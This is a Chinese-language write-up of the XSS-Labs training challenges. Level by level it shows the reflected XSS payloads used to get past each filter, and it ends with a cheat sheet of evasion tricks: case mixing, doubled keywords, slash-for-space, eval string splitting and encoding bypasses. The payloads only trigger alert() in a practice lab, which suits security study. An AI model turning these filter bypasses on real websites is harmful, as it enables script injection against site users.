XSS-Labs闯关记录
文章目录
level1
首先看到地址栏有name字段,有输入点和输出点
直接尝试有无过滤
level2
看到地址栏中的参数输出在搜索框内,查看源码
尝试构造payload,成功
xss" onclick="alert('xss')
level3
查看页面源代码发现单引号未被过滤,构造payload
xss' onclick='alert(1)
level4
双引号闭合,构造payload
xss" onclick="alert(1)
level5
双引号闭合,字符为过滤,构造payload后发现
on事件行不通了 换一种思路 闭合input重新构造script语句,结果发现
script也被过滤了,于是尝试超链接
"><a href=javascript:alert(1)>123</a>
点击插入的超链接,成功过关
level6
查看源代码发现是双引号闭合,经过测试href,script,on事件都被过滤了,尝试大小写绕过,成功过关
"ONclick="alert(1)
level7
测试发现on和script等被替换成了空,尝试双写绕过
"oonnclick = "alert(1)
level8
输出点多了一个超链接,经过测试 javascript,on等都被替换了,于是尝试html实体字符绕过
level9
这里添加链接时一直显示链接不合法,经过测试后发现检查规则为链接必须包含http://,同时script等都被过滤,将除了http://的部分html实体转换,需要将http://注释掉,否则语法错误
javascript:alert(1)/*http://*/
level10
这关有点难,首先页面上没有输入点和输出点,get参数全都被过滤了,查看源码看到有隐藏的表单元素
F12修改代码,将表单元素显示,并添加按钮
文本框随便输入内容点击按钮后发现t_sort文本框的内容留下了,于是针对这个文本框构造payload
t_link=111&t_history=111&t_sort=1111" onclick="alert(1)" type="button
点击生成的按钮,过关
level11
同第十关,测试输出点在什么位置
可以看到同样是t_sort元素,构造payload闭合后发现,输入的payload被后台处理了,因此这个地方不是我们想要的输出点
测试发现t_ref字段输入的是请求头中的refer字段信息
构造payload
level12
与上一关类似,不同的是这一关的输入点在User-Agent字段
构造payload
level13
抓包发现t_cook输入的内容为请求头中的Cookie字段
构造payload
level14
需要访问外网,跳过
level15
输入点在ng-include包含中
构造payload,包含一个存在xss的网页
?src='./levle1.php?name=<img src=1 onerror=alert(1)/>‘
ng-include用法
1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
需要注意:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别
level16
构造payload测试发现空格,script,/被替换了
使用img标签,%0A换行绕过空格过滤
?keyword=<img%0Asrc=1%0Aonerror=alert(1)>
level17
查看源码
地址栏中的两个参数都添加到了src这里,构造payload
?arg01=111&arg02=222 onmouseover=alert(1)
level18
同上一关
?arg01=a&arg02=b onmouseover=alert(1)
level19
也是两个参数,构造payload发现特殊字符都被实体转义了
这一关是flass xss 了解即可
?arg01=version&arg02=<a href="javascript:alert(1)">111</a>
level19 level20 略过
总结
查看页面的输入点和输出点(http头部,url地址栏,表单元素等),针对输出点构造payload
常用绕过方式
1.字符过滤绕过
- 空格绕过
用/代替空格
<img/src="x"/onerror=alert("xss");>
用/**/ 代替空格
<img/src="x"/**/onerror=alert("xss");>
- 大小写绕过
<ImG sRc=x onerRor=alert("xss");>
- 双写绕过
<imimgg srsrcc=x onerror=alert("xss");>
- 利用eval
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
- 利用top
<script>top["al"+"ert"](`xss`);</script>
2.编码绕过
- ASCII码绕过
- url编码绕过
- hex绕过
- base64